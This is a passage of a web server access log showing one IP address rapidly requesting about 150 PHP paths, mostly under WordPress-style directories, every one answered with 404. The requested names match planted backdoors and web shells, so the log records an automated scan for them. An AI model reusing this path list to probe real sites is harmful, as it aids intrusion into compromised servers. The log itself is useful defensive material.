AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:03 +0300] "GET /modules/mod_footer/tmpl/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:03 +0300] "GET /.well-known/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 138.199.42.181 - - [17/Jul/2025:16:40:03 +0300] "GET /images/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:03 +0300] "GET /wp-includes/fonts/parx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /.well-known/pki-validation/aewso.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /.well-known/pki-validation/atomlib.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /wp-admin/user/network.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /sys.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /wp-admin/css/colors/blue/about.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /.well-known/pki-validation/autoload_classmap.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /wp-user.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /customize.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:04 +0300] "GET /.well-known/acme-challenge/doc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:05 +0300] "GET /fm1.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:05 +0300] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:05 +0300] "GET /wordpress/wp-content/uploads/anceaecs.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:05 +0300] "GET /wp-settings.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:05 +0300] "GET /wp-includes/images/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:05 +0300] "GET /wp-file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:05 +0300] "GET /wp-content.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:05 +0300] "GET /wp-admin/js/widgets/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:06 +0300] "GET /wp-content/themes/seotheme/dropdown.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:06 +0300] "GET /ioxi01.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:06 +0300] "GET /wp-content/plugins/seooyanz/wsoyanzv2.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:06 +0300] "GET /l/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:06 +0300] "GET /wp-includes/js/item.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:06 +0300] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:06 +0300] "GET /wp-content/uploads/wpr-addons/forms/e.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:06 +0300] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:07 +0300] "GET /.well-known/pki-validation/doc.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:07 +0300] "GET /wp-content/wp-atom.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:07 +0300] "GET /wp-includes/mani.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:07 +0300] "GET /xx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:07 +0300] "GET /.well-known/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:07 +0300] "GET /css/content.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 138.199.42.181 - - [17/Jul/2025:16:40:07 +0300] "GET /.well-known/Ex34L.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:07 +0300] "GET /wp-admin/css/colors/room.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 138.199.42.181 - - [17/Jul/2025:16:40:08 +0300] "GET /wp-content/uploads/wpr-addons/forms/rk.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:08 +0300] "GET /randkeyword.PhP8 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:08 +0300] "GET /wp-includes/network.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:08 +0300] "GET /images.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:08 +0300] "GET /wp-aespa.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:08 +0300] "GET /wp-includes/defaults.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:08 +0300] "GET /cgi-bin/install.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:08 +0300] "GET /wp-admin/includes/doc.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:09 +0300] "GET /wp-admin/css/about.php7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 138.199.42.181 - - [17/Jul/2025:16:40:09 +0300] "GET /.well-known/include.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:09 +0300] "GET /.well-known/acme-challenge/mariju.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:09 +0300] "GET /wp-content/product.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 138.199.42.181 - - [17/Jul/2025:16:40:09 +0300] "GET /wp-admin/css/colors/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:09 +0300] "GET /.well-known/acme-challenge/themes.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:09 +0300] "GET /wp-includes/js/tinymce/plugins/fullscreen/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:09 +0300] "GET /wp-includes/block-supports/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:10 +0300] "GET /wp-l0gin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:10 +0300] "GET /backup/sid.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:10 +0300] "GET /.well-known/bosctspi.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:10 +0300] "GET /wp-content/uploads/wpr-addons/forms/CasperSecurity.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:10 +0300] "GET /.well-known/atomlib.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:10 +0300] "GET /wp-includes/PHPMailer/file.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:10 +0300] "GET /wp-includes/Requests/xBrain.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:40:10 +0300] "GET /wp-includes/certificates/autoload_classmap.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:11 +0300] "GET /wp-admin/defaults.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:11 +0300] "GET /wp-includes/Requests/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:11 +0300] "GET /images/worksec.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:11 +0300] "GET /images/rest.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:11 +0300] "GET /wp-admin/css/prayer_intentions.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 138.199.42.181 - - [17/Jul/2025:16:40:11 +0300] "GET /wp-admin/images/classsmtps.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:11 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:11 +0300] "GET /.well-known/acme-challenge/parx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:12 +0300] "GET /baxa1.phP7 HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:12 +0300] "GET /wp-includes/css/dist/widgets/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:12 +0300] "GET /.well-known/xoxo.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:12 +0300] "GET /.well-known/acme-challenge/about.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:12 +0300] "GET /0x.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:12 +0300] "GET /wp-content/upgrade/wp-conflg.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:40:12 +0300] "GET /wp-content/mu-plugins/parx.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:12 +0300] "GET /.well-known/pki-validation/infos.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 138.199.42.181 - - [17/Jul/2025:16:40:12 +0300] "GET /wpn.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:13 +0300] "GET /wp-content/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 138.199.42.181 - - [17/Jul/2025:16:40:13 +0300] "GET /cloud.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:13 +0300] "GET /admin.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:13 +0300] "GET /upload.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:13 +0300] "GET /init.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:13 +0300] "GET /wp-admin/users.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:13 +0300] "GET /wp-blog.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:13 +0300] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 138.199.42.181 - - [17/Jul/2025:16:40:14 +0300] "GET /wp-admin/images/module.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:14 +0300] "GET /wp-includes/radio.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:14 +0300] "GET /admin/controller/extension/wpm.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:14 +0300] "GET /payout.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:14 +0300] "GET /lock360.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:14 +0300] "GET /x.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:14 +0300] "GET /wp_info.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:14 +0300] "GET /wp-content/upload.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:15 +0300] "GET /xml.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 138.199.42.181 - - [17/Jul/2025:16:40:15 +0300] "GET /by.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:15 +0300] "GET /wp-content/plugins/Cache/dropdown.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:15 +0300] "GET /wp-includes/sodium_compat/src/Core/Curve25519/Ge/wp_blog.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:15 +0300] "GET /wp-admin/includes/users.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:15 +0300] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:15 +0300] "GET /wp-admin/alfa.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 138.199.42.181 - - [17/Jul/2025:16:40:15 +0300] "GET /wp-content/up.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:15 +0300] "GET /wp-admin/dropdown.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:16 +0300] "GET /wp-includes/wp-class.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:16 +0300] "GET /admin/controller/extension/extension/Not_Found.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:16 +0300] "GET /wp-includes/js/tinymce/skins/lightgray/fonts/index.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 138.199.42.181 - - [17/Jul/2025:16:40:16 +0300] "GET /default.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 138.199.42.181 - - [17/Jul/2025:16:40:16 +0300] "GET /fox.php HTTP/1.1" 404 1552 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 138.199.42.181 - - 